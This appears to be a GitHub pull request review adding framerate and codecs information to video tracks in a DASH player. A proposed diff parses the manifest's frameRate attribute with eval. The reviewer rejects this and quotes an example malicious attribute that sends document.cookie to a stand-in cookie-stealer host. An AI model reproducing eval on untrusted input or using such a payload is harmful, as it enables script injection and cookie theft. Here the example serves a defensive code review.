-
Notifications
You must be signed in to change notification settings - Fork 1.4k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Provide framerate and codecs information on video tracks #533
Conversation
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Thanks for taking a look at this!
* @property {?number} frameRate | ||
* (only for video tracks) The video framerate provided in the manifest. | ||
* @property {?string} codecs | ||
* (only for audio and video tracks) The audio/video codecs string provided |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Text streams can also have a codecs string, although it is not always required. I suggest dropping the parenthetical statement and adding the caveat "if present" after "in the manifest".
@@ -129,6 +131,11 @@ shakaExtern.Stats; | |||
* (only for video tracks) The width of the track in pixels. | |||
* @property {?number} height | |||
* (only for video tracks) The height of the track in pixels. | |||
* @property {?number} frameRate | |||
* (only for video tracks) The video framerate provided in the manifest. |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
This information is not required or used in streaming or setup, so how about"provided in the manifest, if present."
@@ -810,6 +813,7 @@ shaka.dash.DashParser.prototype.parseAdaptationSet_ = function(context, elem) { | |||
} | |||
} | |||
|
|||
|
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Style nit: drop this extra line, please
var frameRate = XmlUtils.parseAttr(elem, 'frameRate', | ||
function(expr) { | ||
// frameRate can be an expression e.g. "1000000/42000" | ||
return parseFloat(String(eval(expr))); |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Sorry, but for security reasons, we will absolutely not accept "eval".
Imagine somebody sends you a manifest with:
<Representation
frameRate="window.href='http://cookie.stealer/?'+document.cookie"
/>
Or literally any other malicious thing you can think of: full-screen ads, redirection to a phishing site, anything.
If you need to parse a fraction, you'll have to write a parser. Perhaps you could add it to XmlUtils.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Oh, of course. Very sorry about this. Don't know what I was thinking. Will fix this of course
@@ -47,7 +47,9 @@ shaka.offline.OfflineUtils.getStoredContent = function(manifest) { | |||
language: stream.language, | |||
kind: stream.kind || null, | |||
width: stream.width, | |||
height: stream.height | |||
height: stream.height, | |||
frameRate: stream.frameRate || null, |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
You'll need to add frameRate and codecs to the externs for streams stored in the database (shakaExtern.StreamDB), and you'll need to add these properties to the code which stores streams offline (shaka.offline.Storage.prototype.createStream_).
var n; | ||
if (res = exprString.match(/^(\d+)\/(\d+)$/)) { | ||
n = Number(res[1] / res[2]); | ||
} else if (res = exprString.match(/^([0-9]\.)$/)) { |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
With this match, Number(res[1]) is the same as Number(exprString), so I would just drop this else if completely.
@@ -136,13 +136,15 @@ describe('DashParser.Manifest', function() { | |||
.presentationTimeOffset(0) | |||
.mime('video/mp4', 'avc1.4d401f') | |||
.bandwidth(100) | |||
.frameRate(23.80952380952380952380) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
The precision here is worrying. Are all of these digits required to get a match out of Jasmine?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
To be honest I haven't tested with a lower precision so I don't know if all of these digits are required
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I did a test and it seems that Jasmine requires full precision here.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Okay, then. Please add a comment like:
// TODO: get Jasmine to match with less precision
And my team will work on it later.
…framerate in manifest unit tests
Testing in progress... |
All tests passed! |
Thanks! |
Solves #516